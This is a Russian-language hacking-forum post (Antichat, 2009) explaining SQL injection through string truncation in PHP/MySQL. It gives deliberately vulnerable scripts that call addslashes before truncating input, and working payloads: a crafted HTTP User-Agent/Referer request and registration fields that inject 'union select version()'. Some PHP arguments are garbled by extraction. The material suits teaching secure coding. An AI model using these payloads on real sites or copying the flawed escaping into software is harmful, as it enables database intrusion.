ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

sql инъекции, там где их на первый взгляд нет.
  #1  
Старый 07.11.2009, 21:41
Аватар для (Dm)
(Dm)
Reservists Of Antichat - Level 6
Регистрация: 08.04.2008
Сообщений: 286
Провел на форуме:
2375131

Репутация: 1695
По умолчанию sql инъекции, там где их на первый взгляд нет.

На основе PHP + MYSQL

[ + ] Рассмотрим вариант проведение sql injection с использованием функций усечения строк, на примере функции substr

Структура БД:
Цитата:
CREATE TABLE stats (id int unsigned not null PRIMARY KEY AUTO_INCREMENT, ip varchar(16), useragent varchar(255), referer varchar(255));
Скрипт:
PHP код:
<?php
    mysql_connect
('localhost''root''secretpasswd');
    
mysql_select_db('antichat');    
    
    
//Экранируем кавычки и опасные символы    
    
$useragent addslashes($_SERVER['HTTP_USER_AGENT']);
    
$ip addslashes($_SERVER['REMOTE_ADDR']);
    
$referer addslashes($_SERVER['HTTP_REFERER']);
    
    
//Добавляем запись
    
$sql "INSERT INTO stats (ip, useragent, referer)
            VALUES ('"
.substr($ip016)."', '".substr($useragent0255)."', '".substr($referer0255)."')";
    
    
mysql_query($sql);
    
mysql_close();
?>
Описание:
В этом скрипте переменные усекаются с помощью функции substr, в соответствие с размерностью столбцов. Как видно слэширование опасных символов, производится до усечения переменных. Все это дает нам возможность произвести sql injection.
Для этого, мы должны передать в HTTP_USER_AGENT следующую строку aaa[254]' (т.е 254 символа "a", при этом 255 символ "'"), но после выполнения функции addslashes, получим строку aaa[254]\', а функция substr усечет её до aaa[254]\.

Посмотрим на запрос:
Цитата:
INSERT INTO stats (ip, useragent, referer)
VALUES ('127.0.0.1', 'aaa[254]\', 'тут referer')";
Видим, что слэш "\" экранировал "'", и в итоге через переменную referer мы можем передать произвольную sql конструкцию.

Пример сплоита:

Цитата:
GET /script1.php HTTP/1.1
Host: host
User-Agent: aaa[254]'
Referer: , (SELECT user()))#
Connection: close
Получим:
Цитата:
INSERT INTO stats (ip, useragent, referer)
VALUES ('127.0.0.1', 'aaa[254]\', ', (SELECT user()))# ')";
Запрос успешно выполнится.
[ + ] Рассмотрим более сложный вариант проведения sql injection с помошью усечения строк в mysql.

Представим что есть скрипт регистрации пользователей, неважно форум это или онлайн игра и т.п.
По мимо обычных полей (таких как логин, пароль и т.п.), есть ещё поле интересы, для того чтобы можно было искать единомышленников по общим интересам...

Структура БД:
Цитата:
CREATE TABLE users (login varchar(20) NOT NULL PRIMARY KEY, passwd varchar(32) NOT NULL, hobby varchar(50), city varchar(50));

Скрипт регистрации:


PHP код:
<?php
mysql_connect
('localhost''root''secretpasswd');
mysql_select_db('antichat');

if (!empty(
$_POST['login']) && !empty($_POST['passwd']) && !empty($_POST['hobby']) && !empty($_POST['city'])) {
    
//фильтруем переменные    
    
$login addslashes($_POST['login']);
    
$passwd md5($_POST['passwd']);
    
$hobby addslashes($_POST['hobby']);
    
$city  addslashes($_POST['city']);
    
    
//добовляем нового пользователя
    
$sql "INSERT INTO users (login, passwd, city, hobby)
            VALUES ('"
.$login."', '".$passwd."', '".$city."', '".$hobby."')";
}
mysql_close();

?>
Скрипт авторизации пользователя, поиск людей с общими интересами:

PHP код:
<?php

mysql_connect
('localhost''root''secretpasswd');
mysql_select_db('antichat');

if (!empty(
$_POST['login']) && !empty($_POST['passwd'])) {
    
//Запрос авторизации
    
$sql "SELECT * FROM users 
            WHERE login = '"
.addslashes($_POST['login'])."' and passwd = '".md5($_POST['passwd'])."'";
    
$result mysql_query($sql);
    if (
mysql_num_rows($result) > 0) {    
        
$row mysql_fetch_assoc($result);
        
        
//Ищем земляков с похожими интересами ^_^
        
$sql "SELECT login FROM users
                WHERE hobby = '"
.$row['hobby']."' and city = '".$row['city']."'";
        
        
$result mysql_query($sql);
        
//Собственно выводим найденых пользователей
        
echo '<pre>';
        while (
$row mysql_fetch_assoc($result)) {
              echo 
$row['login']."\n";
        }
        echo 
'</pre>';
    }
    
}
mysql_close();

?>
Описание:
Для начала следует ознакомиться с этим http://www.suspekt.org/2008/08/18/mysql-and-sql-column-truncation-vulnerabilities/

И так, зарегистрируем пользователя:
Цитата:
логин: test
пароль: test
интересы: aaa[49]'
город: union select version() #
В результате будет зарегистрирован пользователь с интересами: aaa[49]\ , потому что "'", будет экранирована, а при добавлении в БД, mysql обрежет строки основываясь на типах. (поле hobby имеет длину 50 символов)

Далее, авторизуемся пользователем test.
И при поиске пользователей с общими интересами будет выполнен запрос:
Цитата:
SELECT login FROM users
WHERE hobby = 'aaa[49]\' and city = ' union select version() #'
Вот собственно и инъекция.

Последний раз редактировалось (Dm); 07.11.2009 в 22:13..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Установка Windoze глазами линуксоида (100% факты) nerezus Болталка 47 16.10.2005 15:06
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Обнаружение Sql инъекций и Css атак k00p3r Чужие Статьи 0 12.06.2005 20:43
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41
SQL инъекция в сервере MySQL k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ